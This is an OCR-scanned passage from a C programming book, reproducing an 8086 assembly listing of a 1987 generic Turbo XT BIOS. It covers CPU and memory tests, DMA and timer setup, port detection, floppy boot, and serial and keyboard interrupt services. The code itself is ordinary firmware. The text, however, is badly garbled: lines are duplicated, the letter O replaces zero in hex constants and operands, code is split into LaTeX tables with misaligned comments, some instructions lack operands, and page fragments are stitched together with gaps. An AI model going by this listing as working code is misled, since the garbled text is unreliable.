;; as the entire 2764-2 eprom sums to zero. I wish DEBUG could checksum
;; as the entire 2764-2 eprom sums to zero. I wish DEBUG could checksum
;; blocks.
;; blocks.
;
;***********************Miscellaneous definitions***********************
;***********************Miscellaneous definitions***********************
; *
; *
;MAX_MEMORY =704 ; Maximum kilobytes of memory allowed *
;MAX_MEMORY =704 ; Maximum kilobytes of memory allowed *
;SLOW_FLOPPY =1 ; Define to run floppy always at 4.77 mHz *
;SLOW_FLOPPY =1 ; Define to run floppy always at 4.77 mHz *
;
;***********************Miscellaneous definitions**********************
;***********************Miscellaneous definitions**********************
;
entry macro x
entry macro x
    pad =BANNER - $ + x - OE000h
    pad =BANNER - $ + x - OE000h
    if pad LT O
    if pad LT O
    .err
    .err
    %out 'No room for ENTRY point'
    %out 'No room for ENTRY point'
    endif
    endif
    if pad GT O
    if pad GT O
    db pad DUP(0FFh)
    db pad DUP(0FFh)
    endif
    endif
endm
endm
;
jmpf macro x,y
jmpf macro x,y
    db OEAh;
    db OEAh;
    dw y,x
    dw y,x
endm
endm
;
retf macro x
retf macro x
    ifb <x>
```

    ifb <x>
    ```

\section*{256 A to \(Z\) of \(C\)}



\section*{258 A to \(Z\) of \(C\)}

```

    JS HALT
    JNZ HALT
    JPO HALT
    ADD AX,1
    JZ HALT
    JPE HALT
    SUB AX,8002h
    JS HALT
    INC AX
    JNO HALT
    SHL AX,1
    JNB HALT
    JNZ HALT
    SHL AX,1
    JB HALT
    MOV BX,0101010101010101b ; Begin REGISTER test of CPU
    CPUTST: MOV BP,BX
MOV CX,BP
MOV SP,CX
MOV DX,SP
MOV SS,DX
MOV SI,SS
MOV ES,SI
MOV DI,ES
MOV DS,DI
MOV AX,DS
CMP AX,0101010101010101b
JNZ CPU1
NOT AX
MOV BX,AX
JMP CPUTST
CPU1: XOR AX,1010101010101010b
JZ CPU_OK
HALT: HLT
CPU_OK: CLD
MOV
MOV DX,3D8h ; Load Color Graphic port
; Prepare to initialize
OUT OAOh,AL ; ...no NMI interrupts
OUT DX,AL ; ...no video display
MOV DX,3B8h ; Load Monochrome port
INC AL ; ...no video display
OUT DX,AL
; ...write it out
MOV AL,10011001b ; Program 8255 PIA chip

```
\begin{tabular}{|c|c|c|c|c|}
\hline & OUT & 63h, AL & ; & .Ports A \& C, inputs \\
\hline & MOV & AL, 10100101b & ; & Set (non)turbo mode \\
\hline & OUT & \(61 \mathrm{~h}, \mathrm{AL}\) & ; & ...on main board \\
\hline & MOV & AL, 01010100 b & ; & ic 8253 inits memory refresh \\
\hline & OUT & 43h, AL & ; & ...chan 1 pulses ic 8237 to \\
\hline & MOV & AL, 12h & ; & ...dma every 12 h clock ticks \\
\hline & OUT & 41h, AL & ; & ...64K done in 1 millisecond \\
\hline & MOV & AL, 01000000 b & ; & Latch value 12h in 8253 clock \\
\hline & OUT & 43h, AL & ; & ...chip channel 1 counter \\
\hline IC8237: & MOV & AL, 0 & ; & Do some initialization \\
\hline & OUT & 81h, AL & ; & ...dma page reg, chan 2 \\
\hline & OUT & \(82 \mathrm{~h}, \mathrm{AL}\) & ; & ...dma page reg, chan 3 \\
\hline & OUT & 83h, AL & ; & ...dma page reg, chan 0,1 \\
\hline & OUT & ODh, AL & ; & Stop DMA on 8237 chip \\
\hline & MOV & AL, 01011000 b & ; & Refresh auto-init dummy read \\
\hline & OUT & OBh, AL & ; & ...on channel 0 of DMA chip \\
\hline & MOV & AL, 01000001 b & ; & Block verify \\
\hline & OUT & OBh, AL & ; & ..on channel 1 of DMA chip \\
\hline & MOV & AL, 01000010 b & ; & Block verify \\
\hline & OUT & OBh, AL & ; & ...on channel 2 of DMA chip \\
\hline & MOV & AL, 01000011 b & ; & Block verify \\
\hline & OUT & OBh, AL & ; & . on channel 3 of DMA chip \\
\hline & MOV & AL, OFFh & ; & Refresh byte count \\
\hline & OUT & 1, AL & ; & ...send lo order \\
\hline & OUT & 1, AL & ; & ...send hi order \\
\hline & MOV & AL, 0 & ; & Initialize 8237 command reg \\
\hline & OUT & 8, AL & ; & ...with zero \\
\hline & OUT & OAh, AL & ; & Enable DMA on all channels \\
\hline & MOV & AL, 00110110 b & ; & Set up 8253 timer chip \\
\hline & OUT & 43h, AL & ; & ...chan 0 is time of day \\
\hline & MOV & AL, 0 & ; & Request a divide by \\
\hline & OUT & 40h, AL & ; & ...65536 decimal \\
\hline & OUT & 40h, AL & ; & ...0000h or 18.2 tick/sec \\
\hline & MOV & DX, 213h & ; & Expansion unit port \\
\hline & MOV & AL, 1 & ; & ...enable it \\
\hline & OUT & DX, AL & ; & ...do the enable \\
\hline & MOV & AX, 40h & ; & Get bios impure segment \\
\hline & MOV & DS, AX & ; & ...into DS register \\
\hline & MOV & SI, DS: 72 h & ; & Save reset flag in SI reg \\
\hline & XOR & AX, AX & ; & ...cause memory check \\
\hline & MOV & BP, AX & ; & ...will clobber the flag \\
\hline & MOV & BX, AX & ; & Start at segment 0000h \\
\hline & MOV & DX, 55AAh & ; & ...get pattern \\
\hline & CLD & & ; & Strings auto-increment \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|c|}
\hline \multirow[t]{8}{*}{MEMSIZ:} & XOR & DI, DI & & ; & Location XXXX:0 \\
\hline & MOV & ES, BX & & ; & ...load segment \\
\hline & MOV & ES: [DI], DX & & ; & ...write pattern \\
\hline & CMP & DX, ES: [DI] & & ; & . . . compare \\
\hline & JNZ & MEM_ND & & ; & ...failed, memory end \\
\hline & MOV & CX, 2000h & & ; & Else zero 16 kilobytes \\
\hline & REP Z & STOSW & & ; & ...with instruction \\
\hline & ADD & BH, 4 & & ; & ...get next 16K bytes \\
\hline ifdef & \multicolumn{5}{|l|}{MAX_MEMORY} \\
\hline & CMP & BH, MAX_MEMOR & SHR 2 & ; & Found max legal user ram? \\
\hline \multicolumn{6}{|l|}{else} \\
\hline & CMP & \(\mathrm{BH}, \mathrm{OAOh}\) & & ; & Found max legal IBM ram? \\
\hline \multicolumn{6}{|l|}{endif} \\
\hline & JNZ & MEMSIZ & & ; & ...no, then check more \\
\hline \multirow[t]{17}{*}{MEM_ND :} & MOV & DS: \(72 \mathrm{~h}, \mathrm{SI}\) & & ; & Save pointer \\
\hline & XOR & AX, AX & & & \\
\hline & MOV & ES, AX & & ; & \(\mathrm{ES}=\) vector segment \\
\hline & MOV & AX, 80h & & & \\
\hline & MOV & SS, AX & & ; & Set up temporary stack at \\
\hline & MOV & SP, 100h & & ; & 0080:0100 for memory check \\
\hline & PUSH & BP & & & \\
\hline & PUSH & BX & & & \\
\hline & MOV & BP, 2 & & & \\
\hline & CALL & MEMTST & & ; & Memory check ES:0 - ES:0400 \\
\hline & POP & AX & & & \\
\hline & MOV & CL, 6 & & & \\
\hline & SHR & AX, CL & & & \\
\hline & MOV & DS: \(13 \mathrm{~h}, \mathrm{AX}\) & & & \\
\hline & POP & AX & & & \\
\hline & JNB & MEM_01 & & & \\
\hline & OR & AL, ER_MEM & & ; & Show vector area bad \\
\hline \multirow[t]{14}{*}{MEM_01:} & MOV & DS: \(15 \mathrm{~h}, \mathrm{AL}\) & & ; & Save IPL error code \\
\hline & XOR & AX, AX & & & \\
\hline & PUSH & AX & & & \\
\hline & PUSH & AX & & & \\
\hline & PUSH & AX & & & \\
\hline & PUSH & AX & & & \\
\hline & PUSH & AX & & & \\
\hline & MOV & AX, 30h & & ; & Set up IBM-compatible stack \\
\hline & MOV & SS, AX & & ; & ...segment 0030h \\
\hline & MOV & SP, 100h & & ; & ...offset 0100h \\
\hline & PUSH & DS & & & \\
\hline & MOV & BX, OE000h & & ; & Check BIOS eprom \\
\hline & PUSH & CS & & & \\
\hline & POP & DS & & , & ...at F000:E000 \\
\hline
\end{tabular}

\section*{262 A to Z of C}

\begin{tabular}{|c|c|c|}
\hline PUSH & DX & ; ...save it on stack \\
\hline MOV & DX, 0178Bh & ; Mov DX, 'MOV DX, [BX]' \\
\hline PUSH & DX & ; ...save it on stack \\
\hline PUSH & SS & ; Save stack segment \\
\hline MOV & DX, SP & ; ...get the stack offset \\
\hline ADD & DX, 02h & ; ...calculate xfer addr. \\
\hline PUSH & DX & ; ...save it on the stack \\
\hline RETF & & ; Test for BASIC rom \\
\hline
\end{tabular}


\begin{tabular}{|c|c|c|c|c|}
\hline & MOV & DS: \(10 \mathrm{~h}, \mathrm{AX}\) & ; & ...card has been installed \\
\hline & INT & 10h & ; & ...initialize if present \\
\hline & MOV & AX, 0000000000100000b & ; & Assume color/graphics video \\
\hline & MOV & DS:10h, AX & ; & ...card has been installed \\
\hline & INT & 10h & ; & ...initialize if present \\
\hline & IN & AL, 62 h & ; & Get memory size (64K bytes) \\
\hline & AND & AL, 00001111 b & ; & ...in bits 2,3 lo nibble \\
\hline & MOV & AH, AL & ; & Save memory size nibble \\
\hline & MOV & AL, 10101101b & & \\
\hline & OUT & 61h, AL & & \\
\hline & IN & AL, 62 h & ; & Get no. of floppies (0-3) \\
\hline & MOV & CL, 4 & ; & ...and init. video mode \\
\hline & SHL & AL, CL & ; & ...shift in hi nibble \\
\hline & OR & AL, AH & & \\
\hline & MOV & AH, 0 & & \\
\hline & MOV & DS:10h, AX & ; & Start building Equipment Flag \\
\hline & AND & AL, 00110000b & ; & ...if video card, mode set \\
\hline & JNZ & LE232 & ; & ...found video interface \\
\hline & MOV & AX,Offset DUMMY & ; & No hardware, DUMMY: becomes \\
\hline & MOV & ES:40h, AX & ; & ...INT_10 video service \\
\hline & JMP & short LE235 & & \\
\hline LE232: & CALL & V_INIT & ; & Setup video \\
\hline LE235: & MOV & AL, 00001000 b & ; & Read low switches \\
\hline & OUT & 61h, AL & & \\
\hline & MOV & CX,2956h & & \\
\hline WAIT_1: & LOOP & WAIT_1 & & \\
\hline & MOV & AL, 11001000b & ; & Keyboard acknowledge \\
\hline & OUT & \(61 \mathrm{~h}, \mathrm{AL}\) & ; & ...send the request \\
\hline & XOR & AL, 10000000b & ; & Toggle to enable \\
\hline & OUT & 61h, AL & ; & ...send key enable \\
\hline & MOV & AX, 1Eh & ; & Offset to buffer start \\
\hline & MOV & DS: 1Ah, AX & ; & Buffer head pointer \\
\hline & MOV & DS: 1Ch, AX & ; & Buffer tail pointer \\
\hline & MOV & DS:80h, AX & ; & Buffer start \\
\hline & ADD & AX, 20 h & ; & ...size \\
\hline & MOV & DS: \(82 \mathrm{~h}, \mathrm{AX}\) & ; & Buffer end \\
\hline & JMP & short V_CONT & & \\
\hline FAO: & MOV & DL, AL & ; & Formatted ascii output \\
\hline \multirow[t]{4}{*}{FAO_1:} & MOV & AX, BX & ; & Get position for \\
\hline & CALL & LOCATE & ; & ...cursor routine \\
\hline & PUSH & SI & ; & Get string address \\
\hline & CALL & PRINT & ; & ...print string \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline & MOV & AX, ES: [ \(\mathrm{BP}+0]\) & ; Get port \# to print \\
\hline & CALL & BIGNUM & ; ...four digits \\
\hline & POP & SI & ; Restore string address \\
\hline & INC & BP & ; ...Address of port \\
\hline & INC & BP & ; ...is two bytes long \\
\hline & INC & BH & ; ...down one line \\
\hline & DEC & DL & ; Decrement device count \\
\hline & JNZ & FAO_1 & ; ...back for more \\
\hline & RET & & \\
\hline K_BYTE: & CLC & & ; Say no error \\
\hline & MOV & AL, DL & ; ...size "checked" \\
\hline & INC & AL & ; ...show more \\
\hline & DAA & & \\
\hline & MOV & DL, AL & \\
\hline & JNB & KBY_01 & \\
\hline & MOV & AL, DH & ; ...do carry \\
\hline & ADC & AL, 0 & \\
\hline & DAA & & \\
\hline & MOV & DH, AL & \\
\hline KBY_01: & MOV & AL, DH & \\
\hline & CALL & DIGIT & ; Print hex digit \\
\hline & MOV & AL, DL & \\
\hline & MOV & CL, 4 & \\
\hline & ROR & AL, CL & \\
\hline & CALL & DIGIT & ; Print hex digit \\
\hline & MOV & AL, DL & \\
\hline & CALL & DIGIT & ; Print hex digit \\
\hline & RET & & \\
\hline TIMER: & MOV & DX, 241 h & ; Check for timer \#2 port \\
\hline & CLI & & \\
\hline & IN & AL, DX & ; ..read BCD seconds/100 \\
\hline & STI & & \\
\hline & CMP & AL, 99h & ; Are BCD digits in range? \\
\hline & JBE & SER_01 & ; ...yes, port exists \\
\hline ; & & & \\
\hline & MOV & DX, 341h & ; Check for timer \#1 port \\
\hline & CLI & & \\
\hline & IN & AL, DX & ; ..read BCD seconds/100 \\
\hline & STI & & \\
\hline & CMP & AL, 99h & ; Are BCD digits in range? \\
\hline & JBE & SER_01 & ; ...yes, port exists \\
\hline ; & & & \\
\hline & STC & & ; No hardware, ports 0FFh \\
\hline & RET & & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline \multirow[t]{2}{*}{SER_01:} & CLC & & ; Found timer(s) answering \\
\hline & \multicolumn{2}{|l|}{RET} & \\
\hline \multirow[t]{7}{*}{V_CONT:} & MOV & BP, 4 & ; Assume monochrome, 4K memory \\
\hline & MOV & BX, OB000h & ...segment in BX \\
\hline & MOV & AL, DS:49h & ; Get the video mode \\
\hline & CMP & AL, 7 & ; ...was it mono? \\
\hline & JZ & M_SEG & ...yes, skip \\
\hline & MOV & BP, 10h & ; Else CGA, has 16K memory \\
\hline & MOV & BX, 0B800h & ; ...segment in BX \\
\hline \multirow[t]{7}{*}{M_SEG:} & PUSH & BX & ; Load video seg in ES \\
\hline & POP & ES & \\
\hline & MOV & AL, DS: 65h & ; Get CRT hardware mode \\
\hline & AND & AL, 11110111b & ; ...disable video \\
\hline & MOV & DX, DS: 63h & ; Get 6845 index port \\
\hline & ADD & DX, 4 & ; ...add offset for \\
\hline & OUT & DX, AL & ; 6845 controller port \\
\hline \multirow[t]{5}{*}{CRTRAM:} & CALL & MEMTST & ; Memory check ES:0 - ES:0400 \\
\hline & DEC & BP & \\
\hline & JNZ & CRTRAM & ; Loop until CRT RAM checked \\
\hline & JNB & LE2F5 & \\
\hline & OR & Byte ptr DS:15h,ER_CRT & ; Set CRT RAM error in status \\
\hline \multirow[t]{10}{*}{LE2F5:} & CALL & V_INIT & \\
\hline & MOV & AX, 1414h & ; Time-out value seconds \\
\hline & MOV & DS:78h, AX & ; ...LPT1 \\
\hline & MOV & DS:7Ah, AX & ; ...LPT2 \\
\hline & MOV & AX,101h & ; Time-out value seconds \\
\hline & MOV & DS:7Ch, AX & ; ...COM1 \\
\hline & MOV & DS: 7Eh, AX & ; ...com2 \\
\hline & MOV & SI, offset LPTRS & ; SI --> LPTR port table \\
\hline & XOR & DI, DI & ; ...offset into data seg \\
\hline & MOV & CX, 3 & ; ...number of printers \\
\hline \multirow[t]{10}{*}{NXTPRT:} & MOV & DX,CS:[SI] & ; Get LPTR port \\
\hline & MOV & AL, 10101010b & ; ...write value \\
\hline & OUT & DX, AL & ; ...to the LPTR \\
\hline & MOV & AL, 11111111b & ; Dummy data value \\
\hline & OUT & OCOh, AL & ; ...on the bus \\
\hline & IN & AL, DX & ; Read code back \\
\hline & CMP & AL, 10101010b & ; ...check code \\
\hline & JNZ & NO_LPT & ; ...no printer found \\
\hline & MOV & [DI+8], DX & ; Save printer port \\
\hline & INC & DI & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline & INC & DI & & \\
\hline \multirow[t]{8}{*}{NO_LPT:} & INC & \multicolumn{3}{|l|}{SI} \\
\hline & INC & \multicolumn{3}{|l|}{SI} \\
\hline & LOOP & \multicolumn{3}{|l|}{NXTPRT} \\
\hline & MOV & AX, DI & ; & Number of printers * 2 \\
\hline & MOV & CL, 3 & ; & ...get shift count \\
\hline & ROR & AL, CL & ; & ...divide by eight \\
\hline & MOV & DS: \(11 \mathrm{~h}, \mathrm{AL}\) & ; & ...save in equip. flag \\
\hline & XOR & DI, DI & ; & com port(s) at 40:00 (hex) \\
\hline \multirow[t]{11}{*}{COM_1:} & MOV & DX, 3FBh & ; & \multirow[t]{4}{*}{\begin{tabular}{l}
COM \#1 line control reg. \\
... 7 bits, even parity Reset COM \#1 line cont. reg \\
...noise pattern
\end{tabular}} \\
\hline & MOV & AL, 00011010 b & ; & \\
\hline & OUT & DX, AL & ; & \\
\hline & MOV & AL, 11111111b & ; & \\
\hline & OUT & OCOh, AL & ; & Write pattern on data buss \\
\hline & IN & AL, DX & ; & ...read result from COM \#1 \\
\hline & CMP & AL, 00011010 b & ; & \multirow[t]{2}{*}{Check if serial port exists ...skip if no COM \#1 port} \\
\hline & JNZ & COM_2 & ; & \\
\hline & MOV & Word ptr [DI], 3F8h & ; & Else save port \# in impure \\
\hline & INC & DI & ; & ...potential COM \#2 port \\
\hline & INC & DI & . & ...is at 40:02 (hex) \\
\hline \multirow[t]{11}{*}{COM_2 :} & MOV & DX, 2FBh & ; & \multirow[t]{4}{*}{\begin{tabular}{l}
COM \#2 line control reg \\
... 7 bits, even parity \\
Reset COM \#2 line cont. reg \\
...noise pattern
\end{tabular}} \\
\hline & MOV & AL, 00011010 b & ; & \\
\hline & OUT & DX, AL & ; & \\
\hline & MOV & AL, 11111111b & ; & \\
\hline & OUT & OCOh, AL & ; & Write pattern on data buss \\
\hline & IN & AL, DX & ; & ...read results from COM \#2 \\
\hline & CMP & AL, 00011010 b & ; & Check if serial port exists \\
\hline & JNZ & COM_CT & ; & ...skip if no COM \#2 port \\
\hline & MOV & word ptr [DI], 2 F 8 h & ; & Else save port \# in impure \\
\hline & INC & DI & ; & ...total number of serial \\
\hline & INC & DI & ; & ...interfaces times two \\
\hline \multirow[t]{7}{*}{COM_CT:} & MOV & AX, DI & ; & \multirow[t]{3}{*}{Get serial interface count ...equip. flag} \\
\hline & OR & DS: 11h, AL & ; & \\
\hline & MOV & DX, 201h & & \\
\hline & IN & AL, DX & ; & \multirow[t]{4}{*}{\begin{tabular}{l}
Read game controller \\
...anything there? \\
...yes, invalid \\
; Else game port present
\end{tabular}} \\
\hline & TEST & AL, OFh & ; & \\
\hline & JNZ & NOGAME & ; & \\
\hline & OR & \multicolumn{2}{|l|}{Byte ptr DS:11h,00010000b} & \\
\hline NOGAME: & MOV & DX, 0C000h & ; & ROM segment start \\
\hline & PUSH & DS & & \\
\hline
\end{tabular}



\section*{270 A to \(Z\) of C}
\begin{tabular}{|c|c|c|c|c|}
\hline \multirow[t]{11}{*}{FEN_01:} & CALL & PRINT & ; & Print the string \\
\hline & MOV & BX, 0B21h & & \\
\hline & MOV & AL, ES: 11h & ; & Get equipment byte \\
\hline & PUSH & AX & & \\
\hline & MOV & CL, 6 & & \\
\hline & ROR & AL, CL & & \\
\hline & AND & AL, 3 & ; & Number of printers \\
\hline & JZ & FEN_02 & & \\
\hline & MOV & BP, 8 & & \\
\hline & MOV & SI, offset STUF_4 & & \\
\hline & CALL & FAO & ; & Formatted ascii output \\
\hline \multirow[t]{9}{*}{FEN_02:} & POP & AX & ; & Equipment byte restore \\
\hline & MOV & SI, offset STUF_5 & ; & ...game controller \\
\hline & PUSH & AX & ; & Save a copy of equip. byte \\
\hline & TEST & AL, 00010000 b & & \\
\hline & JZ & NO_TOY & ; & Jump if no game controller \\
\hline & MOV & AX, BX & & \\
\hline & CALL & LOCATE & ; & Position cursor \\
\hline & CALL & PRINT & ; & ...and print string \\
\hline & INC & BH & ; & ...scroll line \\
\hline \multirow[t]{7}{*}{NO_TOY:} & CALL & TIMER & ; & Timer devices? \\
\hline & JB & NO_TIM & ; & ...skip if none \\
\hline & MOV & AX, BX & & \\
\hline & CALL & LOCATE & ; & Position cursor \\
\hline & INC & BH & & \\
\hline & MOV & SI, offset STUF_8 & & \\
\hline & CALL & PRINT & & \\
\hline \multirow[t]{7}{*}{NO_TIM:} & POP & AX & & \\
\hline & MOV & SI,offset STUF_6 & & \\
\hline & ROR & AL, 1 & ; & Check for COM port \\
\hline & AND & AL, 3 & & \\
\hline & JZ & NO_COM & ; & ...skip if no com \\
\hline & XOR & BP, BP & & \\
\hline & CALL & FAO & ; & Formatted ascii output \\
\hline \multirow[t]{8}{*}{NO_COM:} & MOV & AX, 121Ch & ; & Where to position cursor \\
\hline & CALL & LOCATE & ; & ...position cursor \\
\hline & MOV & SI, offset STUF_7 & ; & Memory size string \\
\hline & CALL & PRINT & ; & ...print string \\
\hline & PUSH & ES & & \\
\hline & MOV & BP, ES: 13 h & ; & Memory size (1 K blocks) \\
\hline & DEC & BP & & \\
\hline & DEC & BP & & \\
\hline
\end{tabular}
```

        MOV SI,2
        MOV DX,SI
        MOV AX,80h
        MOV ES,AX
    CUTE: MOV AX,122Bh ; Cursory check of memory
CALL LOCATE ; ...position cursor
CALL K_BYTE ; ...print size in K
CALL MEMTST ; Memory check ES:0 - ES:0400
JB BADRAM ; ...bad RAM found (How ???)
DEC BP
JNZ CUTE
POP ES

```

```

BADRAM: POP ES
OR Byte ptr ES:15h,ER_RAM ; Show "Bad Ram" error
JMP CONFIG
STUF db ' Generic Turbo XT Bios 1987',0
STUF_1 db CR,LF,0,'System error \#',0,', Continue?',0
STUF_2 db ' ',0,'Interface card list',0,'Monochrome',0
STUF_3 db 'Color/Graphics',0
STUF_4 db 'Printer \#',0
STUF_5 db 'Game controller',0
STUF_6 db 'Async. commu. \#',0
STUF_7 db 'RAM Testing .. 000 KB',0
STUF_8 db 'Timer',0
ENTRY 0E600h ; Not necessary to IPL here..
IPL: STI
; Called to reboot computer
XOR AX,AX
MOV DS,AX
MOV Word ptr DS:78h,offset INT_1E ; Get disk parameter table
MOV DS:7Ah,CS ; ...save segment
MOV AX,4 ; Try up to four times

```

\section*{272 A to Z of C}
\begin{tabular}{|c|c|c|c|c|}
\hline \multirow[t]{14}{*}{RETRY:} & PUSH & AX & ; & Save retry count \\
\hline & MOV & AH, 0 & ; & . . .reset \\
\hline & INT & 13h & ; & ...floppy \\
\hline & JB & FAILED & & \\
\hline & MOV & AL, 1 & ; & One sector \\
\hline & MOV & AH, 2 & ; & ...read \\
\hline & XOR & DX, DX & ; & ...from drive 0, head 0 \\
\hline & MOV & ES, DX & ; & ...segment 0 \\
\hline & MOV & BX, 7C00h & ; & ...offset 7C00 \\
\hline & MOV & CL, 1 & ; & ...sector 1 \\
\hline & MOV & CH, 0 & ; & ...track 0 \\
\hline & INT & 13h & ; & ...floppy \\
\hline & JB & FAILED & & \\
\hline & JMPF & 0000h, 7C00h & ; & Call the boot block \\
\hline \multicolumn{5}{|l|}{;} \\
\hline \multirow[t]{3}{*}{FAILED:} & POP & AX & ; & Get retries \\
\hline & DEC & AL & ; & ...one less \\
\hline & JNZ & RETRY & & \\
\hline \multirow[t]{11}{*}{NODISK:} & OR & AH, AH & ; & Disk present? \\
\hline & JNZ & DERROR & ; & . . y yes \\
\hline & CALL & BLANK & ; & Clear display \\
\hline & PUSH & CS & & \\
\hline & POP & DS & & \\
\hline & MOV & SI,offset DSKMSG & ; & Load disk message \\
\hline & CALL & PRINT & ; & ...and print string \\
\hline & CALL & GETCH & ; & ...wait for keypress \\
\hline & CALL & BLANK & ; & ...clear display \\
\hline & MOV & AX, 0FF04h & ; & Reset retry count \\
\hline & JMP & RETRY & ; & ...and retry \\
\hline \multirow[t]{10}{*}{DERROR:} & XOR & AX, AX & ; & Error from NEC 765 \\
\hline & MOV & DS, AX & & \\
\hline & LES & AX, Dword ptr DS:60h & ; & ROM basic vector ES:AX \\
\hline & MOV & BX, ES & ; & ...get ROM basic segment \\
\hline & CMP & AX, 0 & & \\
\hline & MOV & AX, 0 & & \\
\hline & JNZ & NODISK & ; & No ROM basic found \\
\hline & CMP & BX, OF600h & & \\
\hline & JNZ & NODISK & ; & Invalid ROM basic segment \\
\hline & INT & 18h & ; & ...else call ROM basic \\
\hline \multirow[t]{4}{*}{DSKMSG} & db & \multicolumn{3}{|l|}{\multirow[t]{2}{*}{'Insert diskette in DRIVE A.',CR,LF Press any key.',0}} \\
\hline & db & & & \\
\hline & Entry & 0E6F2h & ; & IBM entry point for INT 19h \\
\hline & & & & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline \multirow[t]{2}{*}{INT_19:} & JMP & IPL & ; & Warm boot \\
\hline & ENTRY & 0E729h & ; & IBM entry point for INT 14 h \\
\hline \multirow[t]{8}{*}{BAUD} & dw & 0417h & ; & 110 baud clock divisor \\
\hline & dw & 0300h & ; & 150 baud clock divisor \\
\hline & dw & 0180h & ; & 300 baud clock divisor \\
\hline & dw & 00c0h & ; & 600 baud clock divisor \\
\hline & dw & 0060h & ; & 1200 baud clock divisor \\
\hline & dw & 0030h & ; & 2400 baud clock divisor \\
\hline & dw & 0018h & ; & 4800 baud clock divisor \\
\hline & dw & 000Ch & ; & 9600 baud clock divisor \\
\hline \multirow[t]{23}{*}{INT_14:} & STI & & ; & Serial com. RS232 services \\
\hline & PUSH & DS & ; & ...thru IC 8250 uart (ugh) \\
\hline & PUSH & DX & ; & ...DX = COM device (0-3) \\
\hline & PUSH & SI & & \\
\hline & PUSH & DI & & \\
\hline & PUSH & CX & & \\
\hline & PUSH & BX & & \\
\hline & MOV & BX, 40h & & \\
\hline & MOV & DS, BX & & \\
\hline & MOV & DI, DX & ; & \\
\hline & MOV & BX, DX & ; & RS232 serial COM index (0-3) \\
\hline & SHL & BX, 1 & ; & ...index by bytes \\
\hline & MOV & DX, [BX] & ; & Convert index to port number \\
\hline & OR & DX, DX & ; & ...by indexing 40:0 \\
\hline & JZ & COM_ND & ; & ...no such Com device, exit \\
\hline & OR & AH, AH & ; & Init on \(\mathrm{AH}=0\) \\
\hline & JZ & COMINI & & \\
\hline & DEC & AH & & \\
\hline & JZ & COMSND & ; & Send on AH=1 \\
\hline & DEC & AH & & \\
\hline & JZ & COMGET & ; & Rcvd on \(\mathrm{AH}=2\) \\
\hline & DEC & AH & & \\
\hline & JZ & COMSTS & ; & Stat on \(A H=3\) \\
\hline \multirow[t]{7}{*}{COM_ND:} & POP & BX & ; & End of COM service \\
\hline & POP & CX & & \\
\hline & POP & DI & & \\
\hline & POP & SI & & \\
\hline & POP & DX & & \\
\hline & POP & DS & & \\
\hline & IRET & & & \\
\hline \multicolumn{2}{|l|}{\multirow[t]{2}{*}{COMINI: PUSH}} & AX & ; & Init COM port. AL has data \\
\hline & & & & \\
\hline
\end{tabular}

\begin{tabular}{|c|c|c|c|}
\hline COMGET: & MOV & AL, 1 & ; Get char. from COM port \\
\hline & MOV & BH, 00100000b & ; Wait on DSR (Data Set Ready) \\
\hline & MOV & BL, 00000001 b & ; Wait on DTR (Data Term.Ready) \\
\hline & CALL & WAITFR & ; ...wait for character \\
\hline & JNZ & HUNGG & ...time-out error \\
\hline & AND & AH, 00011110 b & ; Mask AH for error bits \\
\hline & SUB & DX, 5 & ; ...(rcvr) index RS232_BASE \\
\hline & IN & AL, DX & ; Read the character \\
\hline & JMP & COM_ND & ; ...AH register has status \\
\hline COMSTS: & ADD & DX, 5 & ; Calculate line control stat \\
\hline & IN & AL, DX & ; ...index RS232_BASE + 5 \\
\hline & MOV & AH, AL & ; ...save high order status \\
\hline & INC & DX & Calculate modem stat. reg. \\
\hline & IN & AL, DX & ; ...index RS232_BASE + 6 \\
\hline & JMP & COM_ND & ...save low order status \\
\hline & & & ; AX= (DEL Clear_To_Send) * \\
\hline & & & ; (DEL Data_Set_ready)* \\
\hline & & & ; (Trailing_Ring_Det.)* \\
\hline & & & ; (DEL Carrier_Detect)* 8 \\
\hline & & & ; ( Clear_To_Send )* 16 \\
\hline & & & ( Data_Set_Ready)* 32 \\
\hline & & & ( Ring_Indicator)* 64 \\
\hline & & & ( Carrier_Detect)* 128 \\
\hline & & & ************** \\
\hline & & & ( Char received)* 256 \\
\hline & & & ( Char smothered)* 512 \\
\hline & & & ; ( Parity error )* 1024 \\
\hline & & & ( Framing error )* 2048 \\
\hline & & & ; ( Break detected)* 4096 \\
\hline & & & ( Able to xmit )* 8192 \\
\hline & & & ( Transmit idle )*16384 \\
\hline & & & Time out error)*32768 \\
\hline POLL: & MOV & BL, byte ptr [DI+7Ch] & ; Wait on BH in status or error \\
\hline POLL_1: & SUB & CX, CX & ; Outer delay loop \\
\hline POLL_2: & IN & AL, DX & ; ... inner loop \\
\hline & MOV & AH, AL & \\
\hline & AND & AL, BH & ; And status with user BH mask \\
\hline & CMP & AL, BH & \\
\hline & JZ & POLLXT & ; ... jump if mask set \\
\hline & LOOP & POLL_2 & ; Else try again \\
\hline & DEC & BL & \\
\hline & JNZ & POLL_1 & \\
\hline & OR & BH, BH & ; Clear mask to show timeout \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|}
\hline \multicolumn{3}{|l|}{POLLXT: RET} \\
\hline \multirow[t]{11}{*}{WAITFR:} & ADD & DX, 4 \\
\hline & OUT & DX, AL \\
\hline & INC & DX \\
\hline & INC & DX \\
\hline & PUSH & BX \\
\hline & CALL & POLL \\
\hline & POP & BX \\
\hline & JNZ & WAITF1 \\
\hline & DEC & DX \\
\hline & MOV & BH, BL \\
\hline & CALL & POLL \\
\hline \multirow[t]{2}{*}{WAITF1:} & RET & \\
\hline & ENTRY & 0E82Eh \\
\hline \multirow[t]{11}{*}{INT_16:} & STI & \\
\hline & PUSH & DS \\
\hline & PUSH & BX \\
\hline & MOV & BX, 40h \\
\hline & MOV & DS, BX \\
\hline & OR & AH, AH \\
\hline & JZ & KPD_RD \\
\hline & DEC & AH \\
\hline & JZ & KPD_WT \\
\hline & DEC & AH \\
\hline & JZ & KPD_SH \\
\hline \multirow[t]{3}{*}{KPD_XT:} & POP & BX \\
\hline & POP & DS \\
\hline & IRET & \\
\hline \multirow[t]{6}{*}{KPD_RD:} & CLI & \\
\hline & MOV & BX, DS: 1Ah \\
\hline & CMP & BX, DS: 1 Ch \\
\hline & JNZ & KPD_R1 \\
\hline & STI & \\
\hline & JMP & KPD_RD \\
